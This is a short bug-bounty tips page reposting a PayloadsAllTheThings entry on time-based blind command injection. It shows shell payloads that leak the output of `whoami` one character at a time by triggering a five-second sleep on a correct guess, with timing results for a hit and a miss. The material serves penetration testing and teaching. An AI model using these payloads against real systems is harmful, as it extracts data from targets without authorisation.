Command Injection: Time Based Data Exfiltration

Command injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Extracting data char by char and detect the correct value based on the delay.

  • Correct value: wait 5 seconds

    powershell
    swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
    real    0m5.007s
    user    0m0.000s
    sys 0m0.000s
  • Incorrect value: no delay

    powershell
    swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
    real    0m0.002s
    user    0m0.000s
    sys 0m0.000s

Comments

No comments yet.